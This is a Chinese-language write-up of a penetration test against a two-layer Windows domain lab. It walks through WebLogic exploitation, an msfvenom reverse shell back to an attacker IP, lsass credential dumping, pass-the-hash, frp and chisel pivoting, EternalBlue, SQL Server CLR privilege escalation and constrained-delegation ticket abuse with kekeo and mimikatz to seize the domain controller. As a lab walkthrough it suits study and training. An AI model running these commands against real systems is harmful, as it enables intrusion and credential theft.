實戰|記一次二層內網域滲透實戰
本文記錄了一次針對具有二層內網的域環境進行滲透測試的過程,文中涉及了內網域滲透的基本方法、思路和技巧。交替使用了msf、CobaltStrike、frp、chisel、SharpSQLTools等工具,最后通過約束委派拿下了域控。其間運用了很多小工具,文章較長,下面開始此次滲透長途之旅。
網絡拓撲如下:

web服務器
先來波端口掃描:

這里介紹個有意思的小工具,https://github.com/mubix/IOXIDResolver

直接發現了內網的ip,這里需要提前說明一點,由于靶場搭建的問題,weblogic只在10.10.20.12這個ip上才能解析,所以需要調整下ip設置,等做完weblogic后我們在改回192段。

看到了weblogic的版本,查找下exp,順手先來一波smb信息收集。
smb信息收集
smbmap -H 10.10.20.12
smbclient -N -L //10.10.20.12
enum4linux -a 10.10.20.12

rpcclient -U '' 10.10.20.12
smbclient -U '' -L \\10.10.20.12

weblogic漏洞利用
知道了weblogic的具體版本,可以直接去查詢漏洞,也可以用工具自動掃描下;

這里直接用CVE的漏洞來打一波;

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.4 LPORT=1234 -f psh-cmd > exploit.ps1

# use exploit/multi/handler
# set payload windows/x64/meterpreter/reverse_tcp
# set lhost 10.10.20.4
# set lport 1234
# exploit



遷移下進程,開始抓密碼;

爆破一波,原來是個弱口令;

接下來換成CS更方便;
./teamserver 192.168.223.138 123456

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar

信息收集一波;

weblogic數據解密
在介紹下用注冊表抓取hash的方法;

抓取成功后拖回本地;

在本地解密;

這里有了hash之后,嘗試下不用msf和cs來滲透;
evil-winrm -u administrator -H ccef208c6485269c20db2cad21734fe7 -i 192.168.223.165

get-process -name lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 500 C:\temp\lsass.dmp full
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 500 C:\windows\temp\lsass.dmp full
ls C:\windows\temp\lsass.dmp
download C:\windows\temp\lsass.dmp

lsass.dmp重命名為weblogic.dmp
pypykatz lsa minidump weblogic.dmp -o weblogic.txt

并沒有發現預想中存在的密碼,所以下面換個其他的方法;



解密工具可以解密了;

至此,web服務器算是搞定了,下面開始個人主機的滲透。
個人主機
永恒之藍利用
進入內網,個人主機已經無法直接出網了,需要搭建代理。
frp代理
服務端
[common] bind_addr =192.168.223.138 bind_port =7000 token = Xa3BJf2l5enmN6Z7A8mv [socks5] type = tcp remote_port =7777 plugin = socks5
客戶端
[common] server_addr = 192.168.223.138 server_port = 7000 token = Xa3BJf2l5enmN6Z7A8mv [plugin_socks] type = tcp remote_port = 7777 plugin = socks5
proxychains nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 10.10.20.7

這里還可以嘗試下用chisel;
./chisel server -p 8000 --reverse
./chisel client 192.168.223.138:8000 R:8100:socks


在kali里設置好代理配置;

proxychains nmap --script smb-vuln* -p 445 -sT -Pn 10.10.20.7 -vvv

很明顯了,永恒之藍;這里還是用frp代理,通過msf來方便點。
msf6 > setg Proxies socks5:192.168.223.138:7777 msf6 > setg ReverseAllowProxy true msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set payload windows/x64/meterpreter/bind_tcp msf6 > set rhost 10.10.20.7 msf6 > run

成功拿下個人主機,照例先抓下密碼;

這里在介紹另一種抓取密碼的思路,在目標機抓取后拿回本地來解密分析,在某些場合下會有奇效;

取回本地,minidump方式解開

查看結果;

為了后續方便,我們可以用CobaltStrike來繼續,雖然msf和CS會話可以互通,但我還是習慣直接種馬后使用。這里web服務器已經提前在CS上反彈好了,精華在于CS的中轉功能。
因為此 Win7 不出網,隨后只能通過 CobaltStrike 設置中轉:
先創建中轉監聽器:


生成木馬:

利用msf上傳并運行木馬后機器上線;

信息收集一波;


可以看到個人主機后面還有2臺機器,分別是域控服務器和數據庫服務器。在進行下一步滲透之前,先需要把二級代理搭建好。
二級代理搭建
先看看frp如何搭建二級代理;
kali上配置服務端;

web服務器上配置;(一個服務端,一個客戶端)

個人主機上配置客戶端;

掃描測試下;

在用chisel搭建一個2級代理;
kali上配置服務端;

web服務器上配置客戶端和服務端;

個人主機上配置客戶端;

掃描測試下;
proxychains nmap -sC -sV -F -sT -Pn 10.10.10.18 -vvv

數據庫服務器
這里先借助bloodhound來分析下域環境,以確定下一步的滲透思路,具體的安裝及使用這里就不贅述了,我之前的文章有過詳細介紹。
到達域管理員的最短路徑;

用戶:redteam.red/sqlserver 允許委托OWA的cifs服務(DC控制器)

至此有了后續基本的滲透思路,就是通過委派攻擊拿下域控,下面開始逐步實施;
根據之前端口掃描的結果,做下信息收集;


結合我們已經取得的個人主機控制權,首先當前進程是沒有域管的,所以暫且放棄令牌竊取:

這里用到了約束委派攻擊的知識,簡單來說,在Windows系統中,普通用戶的屬性中沒有委派(Delegation)這個選項卡,只有服務賬號、主機賬號才有。服務賬號(Service Account),域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MS SQL Server在安裝時,會在域內自動注冊服務賬號SqlServiceAccount,這類賬號不能用于交互式登錄。(更具體知識要自己補一下)
由于我們已經拿到了一個域用戶的賬戶密碼,嘗試查找約束委派的用戶:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

sqlserver 的用戶是被設置了約束委派,但還需要密碼;之前知道1433是開放的,爆破一波試試;

這樣就可以執行xp_cmdshell 命令了;

現權限很小只是一個普通服務權限,下面開始提權;
使用 SharpSQLTools 開啟目標 clr:(要用Proxifier掛上代理,就不截圖了)
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

然后啟用并調用命令:
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami


提取成功。
下面用msf來進行文件上傳;


上傳一個CS的木馬;

然后在用高權限來運行cs木馬;

成功上線;

抓取下密碼;

至此,數據庫服務器滲透結束,下面開始對域控的滲透。
域控
經過前面的分析,這里就是純粹的利用約束委派拿下域控。
1、利用 kekeo 請求該用戶的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
2、然后使用這張 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 獲取域機器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
3、使用 mimikatz 將 ST2 導入當前會話即可,運行 mimikatz 進行 ptt:
mimikatz kerberos::ptt TGSAdministrator@redteam.red@REDTEAM.REDcifs~owa.redteam.red@REDTEAM.RED.kirbi

成功拿到域控權限;
